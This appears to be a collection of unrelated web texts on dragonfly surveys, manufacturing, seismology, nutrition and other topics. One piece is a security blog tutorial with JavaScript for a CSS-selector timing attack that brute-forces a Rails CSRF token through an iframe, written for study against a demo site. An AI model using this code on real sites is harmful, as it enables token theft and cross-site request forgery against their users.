Scientists in New Hampshire are working on a project to increase our understanding of the conservation issues affecting these fascinating insects, and you can help!
The NH Dragonfly Survey started in 2007 as a partnership of NH Audubon, NH Fish and Game, and UNH Cooperative Extension. Its goal is to gain a better understanding of the distribution of dragonfly species of conservation concern in New Hampshire. In the first four years of the project, over 200 people attended workshops intended to train volunteers in dragonfly biology and data collection methods. Many of these volunteers have gone on to collect data from all corners of the state, with more than 5000 records submitted by the end of 2009. In the process, volunteers have found three new species for the state, added dozens of new county records (the first record of a species for a county), and discovered new locations for several species of conservation concern. And they've had a great time doing it.
2011 will be the last year of this project, and rather than training new volunteers the focus will be on offering refresher courses to existing volunteers and getting these people into under surveyed parts of the state. Why end the project? If we kept going indefinitely, we wouldn't be able to establish a clear reference point against which future changes in dragonfly populations could be measured. Most projects of this sort use a five year time frame, which is generally long enough to ensure adequate survey coverage and short enough that things don't change too much from start to finish. When the survey is complete, the NH Dragonfly Survey will produce a report summarizing the distributions and status of all the species known to occur in the state.
For more information on the NH Dragonfly Survey, contact Pam Hunt at NH Audubon, _PHONE_ or _EMAIL_. Although training workshops will not be offered in 2011, there may be opportunities to participate by helping other volunteers. People already experienced in insect collection and identification may be able to collect data with minimal training, and are encouraged to read the "Manual for Volunteers" available at the link below.
Dragonfly Survey volunteers come in all sizes!
Won't you join us, too?
Dragonhunter (Newsletter of the N.H. Dragonfly Survey, named for one of the largest dragonflies) - click to download an issue:
- Summer 2010 (PDF, 623 KB)
- Winter 2010 (PDF, 586 KB)
- Fall 2009 (PDF, 834 KB)
- Summer 2009 (PDF, 905 KB)
- Winter 2009 (PDF, 386 KB)
- Summer 2008 (PDF, 407 KB))
- Spring 2008 (PDF, 317 KB)
- Winter 2008 (PDF, 645 KB)
- Fall 2007 (PDF, 1.7 MB)
- Summer 2007 (PDF, 2.3 MB)
Fun in the field...
The lovely elfin skimmer - one of the many dragonflies you may see in the wilds of NH!
A group of Dragonfly Survey volunteers learns how to hunt dragons on the Souhegan.
A cobra clubtail emerges from its larval skin (exuvia). Volunteers can collect these for identification.
Common whitetails can be seen along forest trails as well as near ponds.
Dragonfly Survey volunteer Kamal Nath admires a skimmer he found in Effingham.


text:
Type of entity
Authorized form of name
Parallel form(s) of name
Standardized form(s) of name according to other rules
Other form(s) of name
Identifiers for corporate bodies
Dates of existence
Leslie Curry was born in November 1922 in Newcastle-on-Tyne, England. He received the standard grammar school education and at the age of 18 volunteered for the Royal Navy and served in Egypt and Normandy. After the war he attended Kings College at the University of Durham, graduating with a Bachelor of Arts in geography and economics in 1949. Two years later he received a masters' degree in geography from Johns Hopkins University while he was a Fulbright Scholar. He worked as an economist at the United Nations and then at Charles Warren Thornthwaite's Laboratory of Climatology in Seabrook, New Jersey. His doctoral degree in geography was awarded from the University of Auckland in New Zealand in 1959.
While at the University of Auckland, he was employed as Lecturer from _PHONE_. He then accepted a position as Assistant Professor in the Department of Geography at the University of Maryland (_PHONE_). In 1964, he moved to the University of Toronto as Associate Professor in the Department of Geography. He moved up the ranks to full Professor in 1965. He was appointed Professor Emeritus following his retirement in 1985. Following his retirement he moved with his second wife, Caryl Pines Curry, to Annapolis, Maryland
In analyzing his body of work, Prof. Curry is described as a "modeler, using stochastic analysis to delve deeply into processes, especially economic, that produce the patters and flows of the world."
Prof. Curry was the recipient of the Canadian Association of Geographers' Award for Scholarly Distinction in 1977 and the first professor from the University of Toronto to receive the International Geographical Union's prestigious Lauréat d'Honneur 2000. The IGU citation describes him as " ' a scholar who by way of his contributions in climatology, economic geography and spatial analysis has challenged established lines of thinking and provided valuable new insights into the ways whereby human behavior shapes the world we live in. Professor Curry's theoretical studies in economic geography, especially studies that draw upon the mathematics of probability theory and the concepts of physical systems analysis, have been unmatched in their originality and rigor and have established his international reputation as one of the leading theoreticians in the discipline.' "
He died at his home in Annapolis, Maryland on January 12, 2009.
"In memoriam: Professor Emeritus Leslie Curry" by Dave Unwin. Published online by the Quantitative Methods Research Group (QMRG). Royal Geographical Society. 2009/04/13.


text:
A NEW Monash University study aims to tackle rural obesity in young women.Monash University women's health researcher Cate Lombard is leading the study, which is set to focus on preventing weight gain rather than treating obesity.
The large-scale research is targeting 900 women aged between 18 and 50 living in 42 small rural communities across Victoria.
And will focus on participants changing their lifestyle and developing a low-cost program that helps women avoid putting on weight.
It's estimated 60 per cent of Australian women are overweight and those in their 20s and 30s are gaining weight faster than other age groups.
"They are often unaware that their yearly weight gain is having a major impact on their health," Dr Lombard said.
"Young women living in rural communities may be at an even higher risk."
Participants will attend a healthy lifestyle information session held locally and report on progress in two years.
Those interested in participating can email _EMAIL_.


Have you ever encountered a website that runs jQuery(location.hash)? Seemingly pretty harmless, right? location.hash always starts with a "#" so all this code does is execute a CSS query selector. It turns out that's enough to perform a timing attack that can extract almost any secret string from the HTML.
Let's start with the basics. A CSS selector is used to match and select HTML elements and looks like these: div, a[href], input[name=authenticity_token]. With CSS3 you can have even more complicated selectors - for example input[value^='x'] matches an input element whose value attribute starts with 'x'.
Now over to the next ingredient of the timing attack. The best way to learn is by experimentation, so open your browser console (Ctrl-Shift-K in Firefox, Ctrl-Shift-J in Chrome). Execute $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"). Unless you have a very fast computer it should delay slightly before returning. Now execute $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='doesntexist']"). Notice how much faster it was? You have just discovered a very interesting property of CSS selectors: short-circuiting. The browser evaluates the selector right-to-left, so it starts searching for main[id='site-main']. When it finds it, it has to make sure it has a parent element that matches *:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))). This part is what takes so long (the :has pseudo-class is not implemented in the browser, but in jQuery). For the other selector, the browser evaluates main[id='doesntexist'], then when it doesn't find it, it just quits, ignoring the rest of the selector. In other words, it exhibits the same short-circuiting behavior as and/&& in most programming languages - just backwards.
The timing attack is beginning to take shape. Let's say we want to extract the authenticity_token (which protects against CSRF in Rails applications). If we execute the selector *:has(:has(:has(*)) :has(*) :has(*)) input[name=authenticity_token][value^='x'], it will take a long time only if the authenticity_token starts with 'x'. But there's still a crucial problem left: how do we measure this time difference? The answer comes from a blog post by Eduardo Vela. The brilliant insight he offers is that the victim site and attacker site both run in the same thread, so a long running javascript process on the victim site will block execution on the attacker site. This gives us a way to detect when a selector is spending a long time executing.
I've set up an example site so we can experiment more easily: _URL_ Try to append _TAG_ to the URL and see what happens. View the page source and look at the hashchange handler to see exactly what it does. I've also set up the attacker site at _URL_ which embeds the victim site as an iframe. Now, back to the hack; hack.sheddow.xyz can schedule a callback to be executed later with setTimeout, then execute the selector on the victim site (via the hashchange handler in our case). If the hashchange handler is very slow, it will delay execution of the callback, and this delay can be measured with window.performance.now. Let's try to convert this into code.
const WAIT_TIME = 6;
const VICTIM_URL = "_URL_
function get_execution_time(selector) {
 var t0 = window.performance.now();
 var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
 window.frames[0].location = VICTIM_URL + "_TAG_," + encodeURIComponent(selector) + "," + Math.random();
 return p;
function measure_time(t0) {
 var t = window.performance.now() - t0;
 return t;
First we define a function wait so that we can work with Promises instead of with setTimeout directly. get_execution_time returns a Promise that should resolve in WAIT_TIME milliseconds, but before that, it executes the hashchange handler. The hashchange handler will hog the thread, and resolution of the Promise will be delayed. If the hashchange handler takes 50ms to execute, the Promise will resolve in atleast 50ms, and it will resolve to a value equal to the time it took. The WAIT_TIME is just to make sure the hashchange handler starts executing before the promise resolves. Test it out at _URL_ open the browser console, enter get_execution_time("p").then(console.log), and it should show about 10-20ms. Then try get_execution_time("*:has(*:has(*))").then(console.log), and it should show something closer to 100ms. At this point we can start brute-forcing the authenticity_token: just do get_execution_time("*:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a']") for each possible character, and the one that takes the longest time is probably the right one.
It's still possible to make it faster though. If you're familiar with blind SQL injection, you'll know that testing character by character is not the most optimal strategy. As with blind SQL injection, each query yields one bit of information ("fast" or "slow"), so it should be possible to halve the search space for each query. The trick is to test lots of characters at the same time, and use a binary search-like algorithm to narrow it down. Let's say we start testing abcdefghijklmnopqrstuvwxyzABCDEF. We can combine the selectors with a comma, so we'll end up with a super-long selector that looks something like *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a'], *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='b'],.... We then compare the execution time of these characters with the execution time of GHIJKLMNOPQRSTUVWXYZ0123456789+/, and whichever took the longest contains the correct character. Then we just split the correct string in half and repeat the process on the two substrings, recursively, until we hit upon the correct character.
Let's turn this into code. I'm gonna use async/await to make the code slightly cleaner.
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";
async function binary_search(prefix, characters) {
 console.log("Testing '" + characters + "'");
 if (characters.length == 1) {
 return characters[0];
 var mid = Math.floor(_URL_
 var s1 = make_selector(prefix, characters.slice(0, mid));
 var s2 = make_selector(prefix, characters.slice(mid, characters.length));
 var t1 = await get_execution_time(s1);
 var t2 = await get_execution_time(s2);
 if (t1 < t2) {
 return binary_search(prefix, characters.slice(mid, characters.length));
 else {
 return binary_search(prefix, characters.slice(0, mid));
function make_selector(prefix, characters) {
 return characters
 .map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
Relatively straightforward. It just splits characters in two, measures the execution time of each half, then recursively calls itself. If you run binary_search("", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/").then(console.log) on _URL_ it should return g.
Finally, we can start bruteforcing the entire token. Just do something like
var token = "";
while (token.length < TOKEN_LENGTH) {
 var c = await binary_search(token, BASE64_CHARS);
 token += c;
and you're good, right? Not so fast. If just a single character is guessed incorrectly it will throw all future queries off. You're almost guaranteed to end up with an incorrect token. Fortunately the time difference between a correct and incorrect query should be so great that we can detect whether we have guessed incorrectly. Just create a function
function approximately_equal(t1, t2) {
 var diff = Math.abs(t1 - t2);
 return diff <= 0.2*t1 || diff <= 0.2*t2;
and modify binary_search to return null if t1 and t2 are approximately equal. Now let's try again:
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;
async function bruteforce_token() {
 var misses = 0;
 var token = "";
 while (token.length < TOKEN_LENGTH) {
 var c = await binary_search(token, BASE64_CHARS);
 if (c === null) {
 if (misses == 3) {
 token = token.slice(0, -1); // Backtrack
 else {
 token += c;
 misses = 0;


text:
Imagination is composed based on a poem by Phillis Wheatley who was the first published African-American female poet. Sold into slavery at the age of seven and transported to North America against her will, she was bought by the Wheatley family, who recognised her literary ability and gave her unprecedented education for an enslaved person and a female. "On imagination" is a poem about the power of imagination. Wheatley employs art as a means of freeing the mind and the muse. In the music we hear a continual E flat, which represents the idea of life as a never ending circle. With imagination, we can "soar in the sky" or "travel as high as we wish". However, the anguish of injustice and inequality remain achingly present throughout the music, and are represented with dramatic glissandos and chaotic intervals.
The piece was premiered at Kings Place London.


text:
Blanking and piercing
Blanking and piercing are shearing processes in which a punch and die are used to modify webs. The tooling and processes are the same between the two, only the terminology is different: in blanking the punched out piece is used and called a blank; in piercing the punched out piece is scrap. The process for parts manufactured simultaneously with both techniques is often termed 'pierce and blank'.
There are various types of blanking and piercing: lancing, perforating, notching, nibbling, shaving, cutoff, and dinking.
Lancing is a piercing operation in which the workpiece is sheared and bent with one strike of the die. A key part of this process is that there is not reduction of material, only a modification in its geometry. This operation is used to make tabs, vents, and louvers.
The cut made in lancing is not a closed cut, like in perforation even though a similar machine is used, but a side is left connected to be bent sharply or in more of a rounded manner.
Lancing can be used to make partial contours and free up material for other operations further down the production line. Along with these reasons lancing is also used to make tabs (where the material is bent at a 90 degree angle to the material), vents (where the bend is around 45 degrees), and louvers (where the piece is rounded or cupped).
Normally lancing is done on a mechanical press, lancing requires the use of punches and dies to be used. The different punches and dies determine the shape and angle (or curvature) of the newly made section of the material. The dies and punches are needed to be made of tool steel to withstand the repetitious nature of the procedure.
Perforating is a piercing operation that involves punching a large number of closely spaced holes.
Notching is a piercing operation that removes material from the edge of the workpiece.
The nibbling process cuts a contour by producing a series of overlapping slits or notches. This allows for complex shapes to be formed in sheet metal up to 6 mm (0.25 in) thick using simple tools. The nibbler is essentially a small punch and die that reciprocates quickly; around 300–900 times per minute. Punches are available in various shape and sizes; oblong and rectangular punches are common because they minimize waste and allow for greater distances between strokes, as compared to a round punch. Nibbling can occur on the exterior or interior of the material, however interior cuts require a hole to insert the tool.
The process is often used on parts that do not have quantities that can justify a dedicated blanking die. The edge smoothness is determined by the shape of the cutting die and the amount the cuts overlap; naturally the more the cuts overlap the cleaner the edge. For added accuracy and smoothness most shapes created by nibbling undergo filing or grinding processes after completion.
The shaving process is a finishing operation where a small amount of metal is sheared away from an already blanked part. Its main purpose is to obtain better dimensional accuracy, but secondary purposes include squaring the edge and smoothing the edge. Blanked parts can be shaved to an accuracy of up to 0.025 mm (0.001 in).
The trimming operation is the last operation performed because it cuts away excess or unwanted irregular features from the workpiece.
The cutoff process is used to separate a stamping or other product from a strip or stock. This operation is very common with progressive die sequences. The cutoff operation often produces the periphery counter to the workpiece.
Fine blanking
Fine blanking is a specialized form of blanking where there is no fracture zone when shearing. This is achieved by compressing the whole part and then an upper and lower punch extract the blank. This allows the process to hold very tight tolerances, and perhaps eliminate secondary operations.
Fine blanking presses are similar to other metal stamping presses, but they have a few critical additional parts. A typical compound fine blanking press includes a hardened die punch (male), the hardened blanking die (female), and a guide plate of similar shape/size to the blanking die. The guide plate is the first applied to the material, impinging the material with a sharp protrusion or stinger around the perimeter of the die opening. Next a counter pressure is applied opposite the punch, and finally the die punch forces the material through the die opening. Since the guide plate holds the material so tightly, and since the counter pressure is applied, the material is cut in a manner more like extrusion than typical punching. Mechanical properties of the cut benefit similarly with a hardened layer at the cut edge of the part. Because the material is so tightly held and controlled in this setup, part flatness remains very true, distortion is nearly eliminated, and edge burr is minimal. Clearances between the die and punch are generally around 1% of the cut material thickness, which typically varies between 0.5–13 mm (0.020–0.51 in). Currently parts as thick as 19 mm (0.75 in) can be cut using fine blanking. Tolerances between ±0.0003–0.002 in (0.0076–0.051 mm) are possible based on material thickness & tensile strength, and part layout.
With standard compound fine blanking processes, multiple parts can often be completed in a single operation. Parts can be pierced, partially pierced, offset (up to 75°), embossed, or coined, often in a single operation. Some combinations may require progressive fine blanking operations, in which multiple operations are performed at the same pressing station.
The advantages of fine blanking are:
- excellent dimensional control, accuracy, and repeatability through a production run.
- excellent part flatness is retained.
- straight, superior finished edges to other metal stamping processes.
- smaller holes possible relative to thickness of material.
- little need to machine details.
- multiple features can be added simultaneously in 1 operation.
- more economical for large production runs than traditional operations when additional machining cost and time are factored in (1000–20000 parts minimum, depending on secondary machining operations)
The disadvantages are:
- slightly higher tooling cost when compared to traditional punching operations.
- slightly slower than traditional punching operations.
The amount of clearance between a punch and die for piercing is governed by the thickness and strength of the workpiece material being pierced. The punch-die clearance determines the load or pressure experienced at the cutting edge of the tool, commonly known as point pressure. Excessive point pressure can lead to accelerated wear and ultimately failure.
Burr height is typically used as an index to measure tool wear, because it is easy to measure during production.
A simple operation may only need a pancake die. While many dies perform complex procedures simultaneously, a pancake die may only perform one simple procedure with the finished product being removed by hand.
- Degarmo, p. 427.
- Todd (1994), Manufacturing Processes Reference Guide, New York: Industrial Press, pp. 84–85, ISBN 0-8311-3049-0
- Degarmo, p. 428.
- Todd, pp. 97–98.
- Degarmo, p. 425.
- "Fineblanking 101". Retrieved 2008-11-05.
- Kalpakjian, Serope; Schmid, Steven R. (2006). Manufacturing Engineering and Technology (5th ed.). Upper Saddle River, NJ: Pearson Prentice Hall. p. 429. ISBN 0-13-148965-8.
- "Fine blanking history". Retrieved 2008-11-05.
- MPI International, Inc. "Guidelines". Retrieved 2008-11-05.
- Bralla, pp. 3.47–3.48.
- "Fine blanking benefits". Retrieved 2008-11-05.
- Bralla, pp. 3.49–3.50.
- Bralla, James G. (1999). Design for Manufacturability Handbook. New York, New York: McGraw-Hill. ISBN 0-07-007139-X.
- Degarmo, E. Paul; Black, J T.; Kohser, Ronald A. (2003). Materials and Processes in Manufacturing (9th ed.). Wiley. ISBN 0-471-65653-4.
- Todd, Robert H.; Dell K. Allen and Leo Alting (1994), Manufacturing Processes Reference Guide, Industrial Press Inc, ISBN 0-8311-3049-0


I understand about physic and waves, but I am a totally rookie in this topic. I was wondering which are the typical frequency ranges of the S-waves, P-waves and surface waves.
My idea would be to detect any seismic event using Software Defined Radio, but I am not sure at all If any peripheral could detect these kind of waves properly. For example, a HackRF peripheral works between 1 MHz to 6 GHz. And, as far as I know, lower frequencies below 3MHz travel efficiently as ground waves. Because of that I was wondering If I could detect anything through Medium Frequencies (0.3 to 3 MHz). For example, a HackRF would detect between 1 MHz to 6 GHz operating frequency, so it may detect something, but I don't know "what to look for".
If MF is too high, would there be any chance to detect anything through their harmonics?
I hope I understand your question right, I think there are some confusion about frequency range and wave-types.
Seismic waves are acceleration of matter that transfer kinetic energy from a seismic source (e.g. an earthquake, an explosion or ambient noise) to heat.
It's similar to sound waves, vibrations from the surface of e.g. a music instrument set the air in motion and compress the molecules of the air to transfer a wave that eventually reach e.g the eardrum. However, to add to the complexity, in solid matter some additional elastic properties are in play, as you notice. Waves can progress not only as pressure waves (P) but also as shear waves (S) and at boundaries special surface waves can form, often of high amplitude. The progression of the seismic waves depends on the elastic properties of the Earth.
A large part of the terminology used for seismic waves are similar to how we describe electromagnetic waves. E.g. frequency, damping and resonance are relevant for seismic waves as well. However, the ranges are very different and electromagnetic waves and acoustic waves behaves different. The earth is a efficient filter, and even transient energy, that contains high frequencies, is limited to low frequencies as it progress through the Earth. Ground wave propagation, as know from radio signals, are different from the properties of seismic surface waves.
An interesting coincidence is that wavelengths can be in the same magnitude, but that is because radio waves progress about 100.000 times faster than crustal seismic waves.
Charles J. Ammon Penn State University
A figure, prepared by Professor Charles J. Ammon, shows the ranges of frequency and amplitude. Source here. The amplitude and period have a large range, that's why prefixes as milli or micro can be used and a logarithmic scale is used for amplitude.
In shallow active reflection seismic surveys, we sometimes can use frequencies up to maybe 200Hz, but in the range the penetration depth is very small. For very local events, e.g. in mines and infrastructure frequency range up to 500-1000Hz might be used.
Most energy for P and S waves used in teleseismics are in the range of a few Hertz and maybe up to 10-20Hz.
Surface waves have the interesting property that the velocity depends on the frequency because low frequency content is affected by deeper elastic properties whiles high frequency content is more affected by shallow geological features. This is used for lithosphere tomography with rather good vertical resolution. The frequency range is 0.005Hz and up to 0.5Hz. This is the frequencies that you can actually see in ground motions caused by earthquakes, if you take resonance in consideration.
Normal modes are often in the range 0.3 - 1mHz. (m, as in milli, not M, as in Mega). That is frequencies about one billiard times lower than some radio frequency bands.
Another thing to remember in the context of Software defined radio, is that there is no carrier wave for seismicity. When seismologists talk about frequency, we mean energy content of a signal. We are looking at the convoluted wavelet, not continuous signals.
If you are interested in working with earthquake detection and to improve algorithms of signal processing of seismic waves, I'd suggest you to take a look at the Obspy package, there are some nice examples and tutorials that can get you started. There are also some project where people are constructing open architecture seismometers, eg the Raspberry Shake. For less than $100 or so you can build a seismograph and start to monitor local seismic events. Most geophones work by transfering ground acceleration to an induced electric current in a coil.
It's very possible that inspiration from other fields of signal processing, as in Software defined radio can improve seismic techniques in future. It is always great to get inspiration from other fields of research.
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Updates from Göteborg (Gothenburg)
Updates from Göteborg (Gothenburg)
In the Gothenburg project, PI Kristina Lindström has her primary focus on public space governance and how events are used as a strategic tool to fulfill societal goals of a more inclusive city. Gothenburg has a long history as a "city of events" and, as a consequence, extensive areas in the city centre are designed to meet the needs of the local event industry. However, Gothenburg is also a city suffering from segregation of marginalized groups and consequently a key challenge is how events in public space and publicly funded events can contribute to a more inclusive society. A local event industry extensively owned by the municipality calls for strategies proving societal values beyond short-term growth, which is often the case in event and tourism development.
Governance is one of the most significant influences on how events develop and eventually become a facilitator of spatial sustainable development. However, events in the urban public space is a complex governance phenomenon, cutting across several domains of governance; institutional structures, policymaking processes and underlying diverse power structures.
The complex, yet crucial, nature of governance of urban public space in the face of eventification and festivalization of the city and, other related topics were discussed when the Festspace Gothenburg project met with the innovation project "Evenemangspiloter", a pilot project with the purpose of using existing resources (e.g. public space) in innovative ways in order to prevent marginalization of residents and increase inclusion through events. Two of the stakeholders involved in "Evenemangspiloter" are Got Event and Equal City, both organizations within the municipality of Gothenburg. Got Event operates several of the city's arenas and Equal City is a long-term initiative aimed at making the city an equal city. So far, "Evenemangspiloter" has developed co-creative methods to ensure broad representations of residents in the development of alternative inclusive event strategies. One example of upcoming activity is participatory observations at events with the purpose of understanding the nature of exclusion in the event context.
It became evident "Evenemangspiloter" can offer a valuable local and inter-sectoral platform for the Festspace Gothenburg project and further, that Festspace can add research-based knowledge and benchmark opportunities to "Evenemangspiloter".
Some examples of public event spaces in the city centre of Gothenburg heavily debated in the face of increased demand for sustainability: the Ullevi Arena (above),
and Heden (below), the main arena area of the Gothia Cup, the World's largest youth soccer tournament.
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The topics in this section discuss the creation and management of managed threads, how to pass data to managed threads and get results back, and how to destroy threads and handle a ThreadAbortException.
Discusses and demonstrates the creation of managed threads, including how to pass data to new threads and how to get data back.
Discusses the ramifications of pausing and resuming managed threads.
Discusses the ramifications of destroying managed threads, and how to handle a ThreadAbortException.
Discusses thread priorities and how they affect thread scheduling.
Provides reference documentation for the Thread class, which represents a managed thread, whether it came from unmanaged code or was created in a managed application.
Provides reference documentation for the ThreadStart delegate that represents parameterless thread procedures.
Provides an easy way to pass data to a thread procedure, although without strong typing.
Provides an introduction to managed threading.


Posts Tagged 'swap ingredient'
The Sweet Truth, Part 3: Living a Sugar Free Lifestyle
The first thing that anyone will tell you about living sugar free is that it truly is impossible. Even if you were to live on green beans and vitamins alone for the rest of your life, you would still consume sugar, be it small quantities, but still eating it all the same.
The only real way to benefit from a sugar free lifestyle is to reduce the amount of added sugar in your life. Added sugar is any kind of natural product that has sugar added to it to make it taste better or in some cases to improve the texture. Some things by themselves, like say yogurt, or even water, are just plain gross by themselves to a large number of people. Plain yogurt can be bitter, but if you add a little bit of sweetened flavor, such as sugar and vanilla extract, the yogurt becomes much easier on the taste buds.
For kids, this is very hard to overcome, because a lot of companies understand that kids love sweets, that kids are picky, and that kids will eat things that are sweetened and not taste bland. Anything and everything made for a child's diet is often loaded with added sugar and flavorings, especially things like breakfast cereal (HELLO, LUCKY CHARMS?) and juices. A great representation of the juice example is Kool-Aid. Mix 2 cups of sugar, which has the same amount of calories in the two cups as an entire stack of pizzas, with water and add a little packet of coloring and flavoring. This drink is often times enhanced even more with sugar, as some kids have become so immune to the taste and effects of sugar that they need more. When I was a teen I babysat for two small children that would not even touch Kool-Aid unless it had been sweetened with three or more cups of sugar!
The direct replacement for something like Kool-Aid would be all natural apple juice, or freshly squeezed OJ or in a perfect world plain water. But the question is, how can you get from something that is almost syrup like in its sweetness to something that is going to almost be considered bitter in comparison? Your kids are going to have withdrawals, especially if you go cold turkey on them. As the body is deprived of something that it normally consumes, just like an addiction to cigarettes or nicotine, it goes into a mild form of shock. There will be mood swings, cravings, physical symptoms like chills or sweating, and lots of arguing. You can make this transition easier on you and your kids by Replacing, Reassuring, and Rewarding.
To replace large amounts of sugar in your child's diet, first take a look at what they eat during the average week. For lack of space and time, i'm going to focus on the quickest meal, breakfast. Because school is in session now, lets say you are providing them a breakfast of say, a Pop Tart, some grape juice, and maybe an apple or a banana. The next day you offer them cereal, perhaps Frosted Flakes, and whole milk, and on Saturdays you have the time and energy to make them a full breakfast of eggs, bacon and toaster waffles, complete with syrup. Believe it or not, the only thing in that morning diet that doesn't automatically come from the store PACKED with sugar in the average brand are the eggs, and the fruit. (Fruit has natural, not processed sugars in it, good sugars that are broken down and cause limited spiking of blood sugar levels. )
So how do you replace the bad things? For day one, we'll start with the Pop-Tarts. Anything filled with jelly and coated with frosting is not only going to have reached maximum energy output by the time your kids get to the bus stop, but will cause a crash right around the time their spelling test occurs at 11:00. White flour, sugar, and preservatives do nothing for your child. Swap it with a whole grain cereal, (if you need the frosting try frosted Mini-wheats) and the amount of sugar will balance with the amount of good carbs and fiber to extend the length of the blood sugar increase. The grape juice can easily be switched for a "no-added-sugar" brand, and keep the fruit.
Day 2 is a little better than day one, except you're gonna need more whole grain cereal, or swap the Frosted Flakes for natural oatmeal. I'm not talking about the flavored bananas 'n cream kind, just regular cooked oats, with a drizzle of honey, or a half teaspoon of Splenda on top. The oats will go alot further than the Flakes. And although whole milk does contain amounts of sugar, its not bad enough to necessitate a switch, if you feel the need to, skim milk is best.
Saturday's meal is one of my favorites. I love pancakes, waffles, anything that fills me up. Thankfully a lot of toaster waffles and pancake mixes are offered in whole-grain and even some sugar free varieties. Ask me to lose the syrup and I'll ask you if you want to lose your hands. But there are substitutes for that too. Try a sugar free syrup. My mom was a diabetic, I can promise you and your offspring that sugar free syrup tastes just about the same as regular syrup. Or try a fruit (with no fruit syrup) topping, like fresh blueberries, strawberries, or peaches. You'll mix the good energy of the whole grain 'cakes with the energy of the fruit, and your kids will be happier, healthier and more focused throughout the day. As for the bacon, try turkey bacon, or a brand that doesn't say maple or honey flavored, or sugar cured.
When you do your grocery shopping you will notice an explosion of a variety of brands that are offering sugar free and whole grain products. This shift from the days of processed white flour and sweeteners is a response to the obesity epidemic that plagues our nation and most of the planet. Take your time to examine the other options available to you when yo shop, and LOOK AT LABELS. Just because a product says reduced sugar does not mean its healthier, and just because a product says its high fiber does not mean it is whole grain. Reduce the amounts of processed white flour and sugar in your shopping cart and your kids will benefit from it at home.
***You can make shopping for healthier foods a fun experience, pick a product and see if your kids can find the healthiest version of it. Say you pick up a box of oatmeal. Without making too much of a mess pick out a bunch of types of oat-meals and compare the labels. Whoever gets the least amount of calories and sugar wins, and that's the item you you buy. This does take extra time, but if youre going to spend a Saturday at the market, might as well teach them something.***
You also have the option of replacing sugar in your cooking. Use Splenda, or if it is available to you, stevia products like PureVia or TruVia. They don't have the same effects on blood sugar as regular sugar does, as a matter of fact, stevia has no effect on the blood sugar at all. Swap the sugar in your Kool-Aid or lemonade for Splenda, change the sugar and milk in your recipes for unsweetened apple sauce, and slowly bring your kids to an acceptable, healthy level of sugar. Your family, their teachers, and eventually even they will thank you.
Teach your kids about how they are making their body healthy! Taking something away without a valid, understandable explanation causes tantrums in even small babies. "You take away my toy, I cry. You take away my toy and give me a shiny spoon, I don't cry." Let knowledge and REWARD (scroll down) be your shiny spoon. Ask your kid's doc at their next appointments about why they shouldn't eat massive amounts of sugar. Usually a doctor or nutritionist will be happy to explain to your kids how sugar can affect how they feel during the day, how they act in class, and how they sleep at night. This coming from the doc instead of just silly old Mom can be helpful, most kids have a reverence for anyone in the medical profession.
Be honest with your kids, let them make the choices in what the family eats, set good examples, and you will create good habits that will help them the rest of their lives!
There are days when yo are going to want to cheat. That plate of cupcakes the nice neighbor brought over is not going to sit on the counter for very long without someone giving into the urge to snack. And being realistic in the idea that one day isnt going to kill you or yor kids is GREAT! Teaching them moderation and using small amounts of sugar as a reward is a great method to encouraging healthy eating habits. But if the backsliding is too much for you to bear, take the cupcakes to a nursing home, or politely tell your neighbor thanks, but no thanks. Then promptly take your kids out for a movie. Rewarding them with fun activities for a week of sugar free will go much father than a cupcake. Plus the physical activity will go towards making them healthier and happier too.
It's not easy, but it doesn't have to be torture. Reducing sugar in your kids lives can be fun and ultimately rewarding. Check back tomorrow for a collection of sugar free Halloween recipes that you and your kids will LOVE!
Happy Cooking!
1 tsp Vanilla Extract = 1/2 of one vanilla bean
8 Marshmallows = 1/2 cup marshmallow fluff
1 cup Ricotta Cheese = 1 cup dry cottage cheese


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Junior Faculty Presentations
Simon J. Evans, PhD and David T. Hsu, PhD
Evans: For centuries, nutritional considerations have been viewed as both reasons for and possible treatments for psychopathological processes. Despite the increasing number of studies in the past couple of decades that seek to detail the effect of nutrition on psychiatric illness, till this day, psychologists are still struggling to understand exactly how to use diet as an effective preventive, and effective treatment method for a variety of psychopathological problems. In this presentation, Dr. Evans specifically talks about three main points regarding this topic of nutrition in the world of psychiatry. These three topics are: viewing the brain as a physical organ that performs depending on the intake of energy humans employ, empirical data that links a healthy diet with lower risk for mood disorders, and how the intake of Omega -3 and -6 fatty acids have been shown to play a role in the course of bipolar disorder. Overall, preliminary research is promising in linking what we eat to how we act both behaviorally and cognitively. More research must be done in the area and Dr. Evans ends by saying that the goal should be to more and more use diet as an effective maintenance tool for psychiatric illness. Hsu: Many people have experienced the intangible yet very real "pain" that comes with romantic rejection and romantic betrayal. These people even say that this social pain is often much greater than the traditional, physical pain that we imagine (e.g. burning your hand on a stove). Studies in the field of pain report that the social pain that stems from romantic rejection is not a made up mental fallacy, but that indeed social pain often triggers many of the same neurological pathways as does physical pain. In this talk, Dr. Hsu explores this tricky, yet intriguing overlap between physical pain and social pain. His current studies focus on the endogenous opioid system and how certain areas of the brain react similarly to a skin burn in comparison to a tough, romantic break up. Through the use of Positron Emission Tomography (PET) Dr. Hsu has been able to explore the underlying neurological impact of both categories of pain and he has found some interesting similarities between the two that appear to empirically support the notion that social pain is just as "felt" as physical pain. Dr. Hsu also explores some factors that may influence how one feels and processes pan such as gender and age. Overall, these studies may lead to one day being able to treat social pain with some form of medicine much like physical pain today.


Kinematic Character Controller v3.3.2
Kinematic Character Controller
Kinematic Character Controller – download Unity asset
*This asset requires programming knowledge, and support regarding the implementation of specific gameplay features may be limited*
What is Kinematic Character Controller?
